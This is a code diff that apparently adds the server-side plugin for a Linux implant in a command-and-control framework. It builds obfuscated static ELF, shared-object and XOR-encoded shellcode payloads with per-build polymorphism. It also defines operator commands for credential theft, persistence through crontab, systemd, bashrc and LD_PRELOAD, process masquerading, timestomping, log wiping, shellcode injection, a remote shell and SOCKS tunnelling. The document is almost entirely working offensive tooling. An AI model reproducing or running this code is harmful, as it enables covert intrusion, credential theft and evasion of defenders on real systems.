+ Addresses: addresses,
+ BannerSize: len(tcp_banner),
+ ConnTimeout: reconnectTimeout,
+ ConnCount: generateConfig.ReconnectCount,
+ UseSSL: Ssl,
+ SslCert: sslCert,
+ SslKey: sslKey,
+ CaCert: caCert,
+ }
+ profileData, _ = msgpack.Marshal(profile)
+
+ case "bind_tcp":
+ port, _ := listenerMap["port_bind"].(float64)
+
+ profile := Profile{
+ Type: uint(agentWatermark),
+ ListenerWatermark: uint(listenerWatermark),
+ Addresses: []string{},
+ BannerSize: 0,
+ ConnTimeout: 0,
+ ConnCount: 0,
+ BindPort: int(port),
+ }
+ profileData, _ = msgpack.Marshal(profile)
+
+ default:
+ return nil, errors.New("protocol unknown")
+ }
+
+ extHandler := ExtenderAgent{}
+ profileData, _ = extHandler.Encrypt(profileData, encryptKey)
+ profileData = append(encryptKey, profileData...)
+
+ profileString := ""
+ for _, b := range profileData {
+ profileString += fmt.Sprintf("\\x%02x", b)
+ }
+ agentProfiles = append(agentProfiles, []byte(profileString))
+ }
+ return agentProfiles, nil
+}
+
+/// Native C agent build constants
+
+var (
+ NativeSrcDir = "src_agent/agent"
+ NativeObjFiles = []string{"crt", "msgpack", "crypt", "connector", "agent_info", "commander", "tasks_fs", "tasks_proc", "tasks_linux", "tasks_opsec", "jobs", "tasks_async", "tasks_net", "proxyfire", "elf_resolve", "opsec", "pivot", "tasks_pivot", "ax_vsnprintf", "bof_api", "elf_bof"}
+)
+
+// Compiler selection based on architecture
+func nativeCompiler(arch string) string {
+ if arch == "aarch64" || arch == "arm64" {
+ return "aarch64-linux-gnu-gcc"
+ }
+ return "musl-gcc"
+}
+
+func nativeCFlags(arch string) string {
+ base := "-std=gnu11 -Os -fno-stack-protector -fno-builtin -fno-unwind-tables -fno-asynchronous-unwind-tables -fno-ident -Wall -Wextra -Wno-unused-parameter -Wno-unused-function"
+ if arch == "aarch64" || arch == "arm64" {
+ return base + " -DARCH_AARCH64"
+ }
+ return base + " -DARCH_X86_64"
+}
+
+func nativeLFlags(arch string) string {
+ if arch == "aarch64" || arch == "arm64" {
+ return "-static -nostdlib -nodefaultlibs -s -Wl,--build-id=none"
+ }
+ return "-static -nostdlib -nodefaultlibs -s -Wl,--build-id=none"
+}
+
+func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [][]byte) ([]byte, string, error) {
+ var generateConfig GenerateConfig
+
+ err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig)
+ if err != nil {
+ return nil, "", err
+ }
+
+ currentDir := ModuleDir
+ tempDir, err := os.MkdirTemp("", "ax-linux-*")
+ if err != nil {
+ return nil, "", err
+ }
+
+ arch := generateConfig.Arch
+ if arch == "" {
+ arch = "x86_64"
+ }
+
+ switch generateConfig.Format {
+ case "Binary ELF (Native)":
+ return p.buildNativeELF(profile, agentProfiles, generateConfig, currentDir, tempDir, arch)
+ case "Shared Object (Native)":
+ return p.buildNativeSO(profile, agentProfiles, generateConfig, currentDir, tempDir, arch)
+ case "Shellcode x86_64 (Native)":
+ return p.buildNativeShellcodeX64(profile, agentProfiles, generateConfig, currentDir, tempDir)
+ case "Shellcode ARM64 (Native)":
+ return p.buildNativeShellcodeARM64(profile, agentProfiles, generateConfig, currentDir, tempDir)
+ default:
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("unknown format: %s", generateConfig.Format)
+ }
+}
+
+// buildNativeELF — Static ELF binary (no dynamic dependencies)
+func (p *PluginAgent) buildNativeELF(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string, arch string) ([]byte, string, error) {
+ Filename := "agent_native.elf"
+ buildPath := tempDir + "/" + Filename
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Target: linux/%s (Native C, ELF static)", arch))
+
+ srcDir := NativeSrcDir
+
+ // Step 1: Generate per-payload headers
+ configContent := generateNativeConfig(agentProfiles)
+ if err := os.WriteFile(tempDir+"/config.h", []byte(configContent), 0644); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("write config.h: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Config: %d profile(s) embedded", len(agentProfiles)))
+
+ djb2Seed := cryptoRandUint32()
+ if err := os.WriteFile(tempDir+"/ApiDefines.h", []byte(generateLinuxApiDefines(djb2Seed)), 0644); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("write ApiDefines.h: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x (per-payload polymorphism)", djb2Seed))
+
+ if err := os.WriteFile(tempDir+"/strings_obf.h", []byte(generateObfStrings()), 0644); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("write strings_obf.h: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "XOR string obfuscation generated (per-payload key)")
+
+ // Step 2: Compile
+ compiler := nativeCompiler(arch)
+ cFlags := fmt.Sprintf("%s -I %s -I %s -DDJB2_SEED=%dU", nativeCFlags(arch), tempDir, srcDir, djb2Seed)
+ if generateConfig.OpsecEnabled {
+ cFlags += " -DOPSEC_ENABLED"
+ }
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (per-payload)...")
+
+ compileSrc := func(srcFile string, outputName string) error {
+ outPath := tempDir + "/" + outputName + ".o"
+ cmdStr := fmt.Sprintf("%s %s -c %s -o %s", compiler, cFlags, srcFile, outPath)
+ return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr)
+ }
+
+ for _, ofile := range NativeObjFiles {
+ if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("compile %s: %w", ofile, err)
+ }
+ }
+ if err := compileSrc(srcDir+"/main.c", "main"); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("compile main: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled successfully")
+
+ // Step 3: Link
+ var objectFiles []string
+ for _, ofile := range NativeObjFiles {
+ objectFiles = append(objectFiles, tempDir+"/"+ofile+".o")
+ }
+ objectFiles = append(objectFiles, tempDir+"/main.o")
+
+ lFlags := nativeLFlags(arch)
+ linkCmd := fmt.Sprintf("%s %s -o %s %s", compiler, lFlags, buildPath, strings.Join(objectFiles, " "))
+ if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("link: %w", err)
+ }
+
+ // Step 4: Read output
+ Payload, err := os.ReadFile(buildPath)
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", err
+ }
+ _ = os.RemoveAll(tempDir)
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes (native ELF %s)", len(Payload), arch))
+
+ return Payload, Filename, nil
+}
+
+// buildNativeSO — Shared Object (dlopen-loadable)
+func (p *PluginAgent) buildNativeSO(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string, arch string) ([]byte, string, error) {
+ Filename := "agent_native.so"
+ buildPath := tempDir + "/" + Filename
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Target: linux/%s (Native C, SO)", arch))
+
+ srcDir := NativeSrcDir
+
+ // Generate per-payload headers
+ configContent := generateNativeConfig(agentProfiles)
+ if err := os.WriteFile(tempDir+"/config.h", []byte(configContent), 0644); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("write config.h: %w", err)
+ }
+
+ djb2Seed := cryptoRandUint32()
+ if err := os.WriteFile(tempDir+"/ApiDefines.h", []byte(generateLinuxApiDefines(djb2Seed)), 0644); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("write ApiDefines.h: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x", djb2Seed))
+
+ if err := os.WriteFile(tempDir+"/strings_obf.h", []byte(generateObfStrings()), 0644); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("write strings_obf.h: %w", err)
+ }
+
+ // Compile with -fPIC -DBUILD_SO
+ compiler := nativeCompiler(arch)
+ cFlags := fmt.Sprintf("%s -fPIC -DBUILD_SO -I %s -I %s -DDJB2_SEED=%dU", nativeCFlags(arch), tempDir, srcDir, djb2Seed)
+ if generateConfig.OpsecEnabled {
+ cFlags += " -DOPSEC_ENABLED"
+ }
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (SO mode, per-payload)...")
+
+ compileSrc := func(srcFile string, outputName string) error {
+ outPath := tempDir + "/" + outputName + ".o"
+ cmdStr := fmt.Sprintf("%s %s -c %s -o %s", compiler, cFlags, srcFile, outPath)
+ return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr)
+ }
+
+ for _, ofile := range NativeObjFiles {
+ if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("compile %s: %w", ofile, err)
+ }
+ }
+ if err := compileSrc(srcDir+"/main.c", "main"); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("compile main: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled (SO mode)")
+
+ // Link as shared object
+ var objectFiles []string
+ for _, ofile := range NativeObjFiles {
+ objectFiles = append(objectFiles, tempDir+"/"+ofile+".o")
+ }
+ objectFiles = append(objectFiles, tempDir+"/main.o")
+
+ linkCmd := fmt.Sprintf("%s -shared -nostdlib -nodefaultlibs -s -Wl,--build-id=none -o %s %s", compiler, buildPath, strings.Join(objectFiles, " "))
+ if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("link SO: %w", err)
+ }
+
+ Payload, err := os.ReadFile(buildPath)
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", err
+ }
+ _ = os.RemoveAll(tempDir)
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes (native SO %s)", len(Payload), arch))
+
+ return Payload, Filename, nil
+}
+
+// buildNativeShellcodeX64 — SO + XOR encoder with x86_64 decoder stub
+func (p *PluginAgent) buildNativeShellcodeX64(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) {
+ Filename := "agent_shellcode.x64.bin"
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: linux/x86_64 (Shellcode, Native C)")
+
+ // Build SO first
+ soPayload, _, err := p.buildNativeSO(profile, agentProfiles, generateConfig, currentDir, tempDir, "x86_64")
+ if err != nil {
+ return nil, "", err
+ }
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("SO size: %d bytes, encoding with XOR...", len(soPayload)))
+
+ shellcode, err := xorEncodeShellcodeX64(soPayload)
+ if err != nil {
+ return nil, "", fmt.Errorf("xor encode x64: %w", err)
+ }
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("Shellcode size: %d bytes (SO %d + stub)", len(shellcode), len(soPayload)))
+
+ return shellcode, Filename, nil
+}
+
+// buildNativeShellcodeARM64 — SO + XOR encoder with ARM64 decoder stub
+func (p *PluginAgent) buildNativeShellcodeARM64(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) {
+ Filename := "agent_shellcode.arm64.bin"
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: linux/aarch64 (Shellcode ARM64, Native C)")
+
+ // Build SO first (ARM64)
+ soPayload, _, err := p.buildNativeSO(profile, agentProfiles, generateConfig, currentDir, tempDir, "aarch64")
+ if err != nil {
+ return nil, "", err
+ }
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("SO size: %d bytes, encoding with XOR...", len(soPayload)))
+
+ shellcode, err := xorEncodeShellcodeARM64(soPayload)
+ if err != nil {
+ return nil, "", fmt.Errorf("xor encode arm64: %w", err)
+ }
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("Shellcode size: %d bytes (SO %d + stub)", len(shellcode), len(soPayload)))
+
+ return shellcode, Filename, nil
+}
+
+// parseEscapedBytes converts "\x01\x02\xff" to raw bytes
+func parseEscapedBytes(escaped []byte) []byte {
+ s := string(escaped)
+ var result []byte
+ for i := 0; i < len(s); {
+ if i+3 < len(s) && s[i] == '\\' && s[i+1] == 'x' {
+ b, err := strconv.ParseUint(s[i+2:i+4], 16, 8)
+ if err == nil {
+ result = append(result, byte(b))
+ i += 4
+ continue
+ }
+ }
+ result = append(result, s[i])
+ i++
+ }
+ return result
+}
+
+// generateNativeConfig creates config.h with encrypted profiles as C byte arrays
+func generateNativeConfig(agentProfiles [][]byte) string {
+ var sb strings.Builder
+ sb.WriteString("// Auto-generated — per-payload config\n")
+ sb.WriteString("// Do not edit. Regenerated on each build.\n")
+ sb.WriteString("#ifndef CONFIG_H\n#define CONFIG_H\n\n")
+ sb.WriteString("#include \n\n")
+ sb.WriteString(fmt.Sprintf("#define PROFILE_COUNT %d\n\n", len(agentProfiles)))
+
+ for i, escapedProf := range agentProfiles {
+ rawProf := parseEscapedBytes(escapedProf)
+ sb.WriteString(fmt.Sprintf("static const uint8_t enc_profile_%d[] = {\n ", i))
+ for j := 0; j < len(rawProf); j++ {
+ if j > 0 && j%16 == 0 {
+ sb.WriteString("\n ")
+ }
+ sb.WriteString(fmt.Sprintf("0x%02x", rawProf[j]))
+ if j < len(rawProf)-1 {
+ sb.WriteString(", ")
+ }
+ }
+ sb.WriteString("\n};\n")
+ sb.WriteString(fmt.Sprintf("static const uint32_t enc_profile_%d_size = %d;\n\n", i, len(rawProf)))
+ }
+
+ sb.WriteString("static const uint8_t* enc_profiles[] = {\n")
+ for i := range agentProfiles {
+ sb.WriteString(fmt.Sprintf(" enc_profile_%d,\n", i))
+ }
+ sb.WriteString("};\n\n")
+
+ sb.WriteString("static const uint32_t enc_profile_sizes[] = {\n")
+ for i := range agentProfiles {
+ sb.WriteString(fmt.Sprintf(" enc_profile_%d_size,\n", i))
+ }
+ sb.WriteString("};\n\n")
+
+ sb.WriteString("#endif // CONFIG_H\n")
+ return sb.String()
+}
+
+func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.ExtenderAgent, error) {
+ var agentData adaptix.AgentData
+
+ var sessionInfo SessionInfo
+ err := msgpack.Unmarshal(beat, &sessionInfo)
+ if err != nil {
+ return adaptix.AgentData{}, nil, err
+ }
+
+ agentData.ACP = int(sessionInfo.Acp)
+ agentData.OemCP = int(sessionInfo.Oem)
+ agentData.Pid = fmt.Sprintf("%v", sessionInfo.PID)
+ agentData.Tid = ""
+ agentData.Elevated = sessionInfo.Elevated
+ agentData.InternalIP = sessionInfo.Ipaddr
+
+ if sessionInfo.Os == "linux" {
+ agentData.Os = adaptix.OS_LINUX
+ agentData.OsDesc = sessionInfo.OSVersion
+ // Determine arch from OS version string or default
+ agentData.Arch = "x86_64"
+ if strings.Contains(sessionInfo.OSVersion, "aarch64") || strings.Contains(sessionInfo.OSVersion, "arm64") {
+ agentData.Arch = "arm64"
+ }
+ } else {
+ agentData.Os = adaptix.OS_UNKNOWN
+ return agentData, nil, errors.New("linux agent received non-linux OS")
+ }
+
+ agentData.SessionKey = sessionInfo.EncryptKey
+ agentData.Domain = ""
+ agentData.Computer = sessionInfo.Host
+ agentData.Username = sessionInfo.User
+ agentData.Process = sessionInfo.Process
+
+ agentData.Sleep = 0
+ agentData.Jitter = 0
+
+ return agentData, &ExtenderAgent{}, nil
+}
+
+/// AGENT HANDLER
+
+func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return nil, err
+ }
+
+ nonce := make([]byte, gcm.NonceSize())
+ _, err = io.ReadFull(rand.Reader, nonce)
+ if err != nil {
+ return nil, err
+ }
+ ciphertext := gcm.Seal(nonce, nonce, data, nil)
+
+ return ciphertext, nil
+}
+
+func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return nil, err
+ }
+
+ nonceSize := gcm.NonceSize()
+ if len(data) < nonceSize {
+ return nil, fmt.Errorf("ciphertext too short")
+ }
+
+ nonce, ciphertext := data[:nonceSize], data[nonceSize:]
+
+ plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
+ if err != nil {
+ return nil, err
+ }
+
+ return plaintext, nil
+}
+
+func (ext *ExtenderAgent) PackTasks(agentData adaptix.AgentData, tasks []adaptix.TaskData) ([]byte, error) {
+ var packData []byte
+
+ var objects [][]byte
+ var command Command
+
+ for _, taskData := range tasks {
+ taskId, err := strconv.ParseUint(taskData.TaskId, 16, 64)
+ if err != nil {
+ return nil, err
+ }
+
+ _ = msgpack.Unmarshal(taskData.Data, &command)
+ command.Id = uint(taskId)
+
+ cmd, _ := msgpack.Marshal(command)
+
+ objects = append(objects, cmd)
+ }
+
+ message := Message{
+ Type: 1,
+ Object: objects,
+ }
+
+ packData, _ = msgpack.Marshal(message)
+
+ return packData, nil
+}
+
+func (ext *ExtenderAgent) PivotPackData(pivotId string, data []byte) (adaptix.TaskData, error) {
+ id, _ := strconv.ParseUint(pivotId, 16, 64)
+
+ // Build Command{code: PIVOT_EXEC, data: {pivot_id, data}}
+ innerData, _ := msgpack.Marshal(ParamsPivotExec{
+ PivotId: uint32(id),
+ Data: data,
+ })
+ cmd := Command{
+ Code: COMMAND_PIVOT_EXEC,
+ Data: innerData,
+ }
+ packData, _ := msgpack.Marshal(cmd)
+
+ taskData := adaptix.TaskData{
+ TaskId: fmt.Sprintf("%08x", mrand.Uint32()),
+ Type: adaptix.TASK_TYPE_PROXY_DATA,
+ Data: packData,
+ Sync: false,
+ }
+
+ return taskData, nil
+}
+
+func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
+ var (
+ taskData adaptix.TaskData
+ messageData adaptix.ConsoleMessageData
+ err error
+ )
+
+ command, ok := args["command"].(string)
+ if !ok {
+ return taskData, messageData, errors.New("'command' must be set")
+ }
+ subcommand, _ := args["subcommand"].(string)
+
+ taskData = adaptix.TaskData{
+ Type: adaptix.TASK_TYPE_TASK,
+ Sync: true,
+ }
+
+ messageData = adaptix.ConsoleMessageData{
+ Status: adaptix.MESSAGE_INFO,
+ Text: "",
+ }
+ messageData.Message, _ = args["message"].(string)
+
+ var cmd Command
+
+ switch command {
+
+ case "cat":
+ path, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsCat{Path: path})
+ cmd = Command{Code: COMMAND_CAT, Data: packerData}
+
+ case "cd":
+ path, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsCd{Path: path})
+ cmd = Command{Code: COMMAND_CD, Data: packerData}
+
+ case "cp":
+ src, err := getStringArg(args, "src")
+ if err != nil {
+ goto RET
+ }
+ dst, err := getStringArg(args, "dst")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsCp{Src: src, Dst: dst})
+ cmd = Command{Code: COMMAND_CP, Data: packerData}
+
+ case "download":
+ path, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+
+ r := make([]byte, 4)
+ _, _ = rand.Read(r)
+ taskId := binary.BigEndian.Uint32(r)
+
+ taskData.TaskId = fmt.Sprintf("%08x", taskId)
+
+ packerData, _ := msgpack.Marshal(ParamsDownload{Path: path, Task: taskData.TaskId})
+ cmd = Command{Code: COMMAND_DOWNLOAD, Data: packerData}
+
+ case "exit":
+ cmd = Command{Code: COMMAND_EXIT, Data: nil}
+
+ case "getuid":
+ cmd = Command{Code: COMMAND_GETUID, Data: nil}
+
+ case "env":
+ cmd = Command{Code: COMMAND_ENV, Data: nil}
+
+ case "netstat":
+ cmd = Command{Code: COMMAND_NETSTAT, Data: nil}
+
+ case "mounts":
+ cmd = Command{Code: COMMAND_MOUNTS, Data: nil}
+
+ case "edr":
+ cmd = Command{Code: COMMAND_EDR, Data: nil}
+
+ case "creds":
+ credType, _ := getStringArg(args, "type")
+ if credType == "" {
+ credType = "all"
+ }
+ packerData, _ := msgpack.Marshal(ParamsCreds{Type: credType})
+ cmd = Command{Code: COMMAND_CREDS, Data: packerData}
+
+ case "persist":
+ params := ParamsPersist{Action: subcommand}
+ switch subcommand {
+ case "crontab":
+ params.Cmd, _ = getStringArg(args, "cmd")
+ params.Schedule, _ = getStringArg(args, "schedule")
+ case "systemd":
+ params.Name, _ = getStringArg(args, "name")
+ params.Cmd, _ = getStringArg(args, "cmd")
+ case "bashrc":
+ params.Cmd, _ = getStringArg(args, "cmd")
+ case "ldpreload":
+ params.Path, _ = getStringArg(args, "path")
+ case "remove":
+ params.Type, _ = getStringArg(args, "type")
+ params.Name, _ = getStringArg(args, "name")
+ case "status":
+ // no extra args
+ default:
+ err = errors.New("subcommand must be: crontab, systemd, bashrc, ldpreload, remove, status")
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(params)
+ cmd = Command{Code: COMMAND_PERSIST, Data: packerData}
+
+ case "container":
+ action := subcommand
+ if action == "" {
+ action = "detect"
+ }
+ packerData, _ := msgpack.Marshal(ParamsContainer{Action: action})
+ cmd = Command{Code: COMMAND_CONTAINER, Data: packerData}
+
+ case "masquerade":
+ name, err := getStringArg(args, "name")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsMasquerade{Name: name})
+ cmd = Command{Code: COMMAND_MASQUERADE, Data: packerData}
+
+ case "timestomp":
+ path, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+ timestamp := uint64(0)
+ if ts, ok := args["timestamp"].(float64); ok {
+ timestamp = uint64(ts)
+ }
+ packerData, _ := msgpack.Marshal(ParamsTimestomp{Path: path, Timestamp: timestamp})
+ cmd = Command{Code: COMMAND_TIMESTOMP, Data: packerData}
+
+ case "cleanlog":
+ cmd = Command{Code: COMMAND_CLEANLOG, Data: nil}
+
+ case "inject":
+ pidF, err := getFloatArg(args, "pid")
+ if err != nil {
+ goto RET
+ }
+ scData, ok := args["shellcode"].([]byte)
+ if !ok {
+ // Try as base64 string
+ scStr, err2 := getStringArg(args, "shellcode")
+ if err2 != nil {
+ err = errors.New("missing 'shellcode' parameter")
+ goto RET
+ }
+ var err3 error
+ scData, err3 = base64.StdEncoding.DecodeString(scStr)
+ if err3 != nil {
+ err = fmt.Errorf("invalid base64 shellcode: %v", err3)
+ goto RET
+ }
+ }
+ packerData, _ := msgpack.Marshal(ParamsInject{Pid: int(pidF), Shellcode: scData})
+ cmd = Command{Code: COMMAND_INJECT, Data: packerData}
+
+ case "migrate":
+ cmd = Command{Code: COMMAND_MIGRATE, Data: nil}
+
+ case "job":
+ if subcommand == "list" {
+ cmd = Command{Code: COMMAND_JOB_LIST, Data: nil}
+
+ } else if subcommand == "kill" {
+ jobId, err := getStringArg(args, "task_id")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsJobKill{Id: jobId})
+ cmd = Command{Code: COMMAND_JOB_KILL, Data: packerData}
+
+ } else {
+ err = errors.New("subcommand must be 'list' or 'kill'")
+ goto RET
+ }
+
+ case "kill":
+ pid, err := getFloatArg(args, "pid")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsKill{Pid: int(pid)})
+ cmd = Command{Code: COMMAND_KILL, Data: packerData}
+
+ case "ls":
+ dir, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsLs{Path: dir})
+ cmd = Command{Code: COMMAND_LS, Data: packerData}
+
+ case "mv":
+ src, err := getStringArg(args, "src")
+ if err != nil {
+ goto RET
+ }
+ dst, err := getStringArg(args, "dst")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsMv{Src: src, Dst: dst})
+ cmd = Command{Code: COMMAND_MV, Data: packerData}
+
+ case "mkdir":
+ path, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsMkdir{Path: path})
+ cmd = Command{Code: COMMAND_MKDIR, Data: packerData}
+
+ case "ps":
+ cmd = Command{Code: COMMAND_PS, Data: nil}
+
+ case "pwd":
+ cmd = Command{Code: COMMAND_PWD, Data: nil}
+
+ case "rm":
+ path, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsRm{Path: path})
+ cmd = Command{Code: COMMAND_RM, Data: packerData}
+
+ case "run":
+ taskData.Type = adaptix.TASK_TYPE_JOB
+
+ prog, err := getStringArg(args, "program")
+ if err != nil {
+ goto RET
+ }
+ runArgs, _ := args["args"].(string)
+
+ r := make([]byte, 4)
+ _, _ = rand.Read(r)
+ taskId := binary.BigEndian.Uint32(r)
+
+ taskData.TaskId = fmt.Sprintf("%08x", taskId)
+
+ cmdArgs, _ := shlex.Split(runArgs)
+ packerData, _ := msgpack.Marshal(ParamsRun{Program: prog, Args: cmdArgs, Task: taskData.TaskId})
+ cmd = Command{Code: COMMAND_RUN, Data: packerData}
+
+ case "shell":
+ cmdParam, err := getStringArg(args, "cmd")
+ if err != nil {
+ goto RET
+ }
+
+ // Linux: use /bin/sh (most portable)
+ cmdArgs := []string{"-c", cmdParam}
+ packerData, _ := msgpack.Marshal(ParamsShell{Program: "/bin/sh", Args: cmdArgs})
+ cmd = Command{Code: COMMAND_SHELL, Data: packerData}
+
+ case "socks":
+ taskData.Type = adaptix.TASK_TYPE_TUNNEL
+
+ portNumber, ok := args["port"].(float64)
+ port := int(portNumber)
+ if ok {
+ if port < 1 || port > 65535 {
+ err = errors.New("port must be from 1 to 65535")
+ goto RET
+ }
+ }
+ if subcommand == "start" {
+ address, err := getStringArg(args, "address")
+ if err != nil {
+ goto RET
+ }
+
+ auth := getBoolArg(args, "-a")
+ if auth {
+ username, err := getStringArg(args, "username")
+ if err != nil {
+ goto RET
+ }
+ password, err := getStringArg(args, "password")
+ if err != nil {
+ goto RET
+ }
+
+ tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, true, username, password)
+ if err2 != nil {
+ err = err2
+ goto RET
+ }
+ taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId)
+ if err2 != nil {
+ err = err2
+ goto RET
+ }
+
+ taskData.Message = fmt.Sprintf("Socks5 (with Auth) server running on port %d", port)
+
+ } else {
+ tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, false, "", "")
+ if err2 != nil {
+ err = err2
+ goto RET
+ }
+ taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId)
+ if err2 != nil {
+ err = err2
+ goto RET
+ }
+
+ taskData.Message = fmt.Sprintf("Socks5 server running on port %d", port)
+ }
+ taskData.MessageType = adaptix.MESSAGE_SUCCESS
+ taskData.ClearText = "\n"
+
+ } else if subcommand == "stop" {
+ taskData.Completed = true
+
+ Ts.TsTunnelStopSocks(agentData.Id, port)
+
+ taskData.MessageType = adaptix.MESSAGE_SUCCESS
+ taskData.Message = "Socks5 server has been stopped"
+ taskData.ClearText = "\n"
+
+ } else {
+ err = errors.New("subcommand must be 'start' or 'stop'")
+ goto RET
+ }
+
+ case "upload":
+ remote_path, err := getStringArg(args, "remote_path")
+ if err != nil {
+ goto RET
+ }
+ localFile, err := getStringArg(args, "local_file")
+ if err != nil {
+ goto RET
+ }
+
+ fileContent, decodeErr := base64.StdEncoding.DecodeString(localFile)
+ if decodeErr != nil {
+ err = decodeErr
+ goto RET
+ }
+
+ zipContent, zipErr := ZipBytes(fileContent, remote_path)
+ if zipErr != nil {
+ err = zipErr
+ goto RET
+ }
+
+ chunkSize := 0x500000
+ bufferSize := len(zipContent)
+
+ inTaskData := adaptix.TaskData{
+ Type: adaptix.TASK_TYPE_TASK,
+ AgentId: agentData.Id,
+ Sync: false,
+ }
+
+ for start := 0; start < bufferSize; start += chunkSize {
+ fin := start + chunkSize
+ finish := false
+ if fin >= bufferSize {
+ fin = bufferSize
+ finish = true
+ }
+
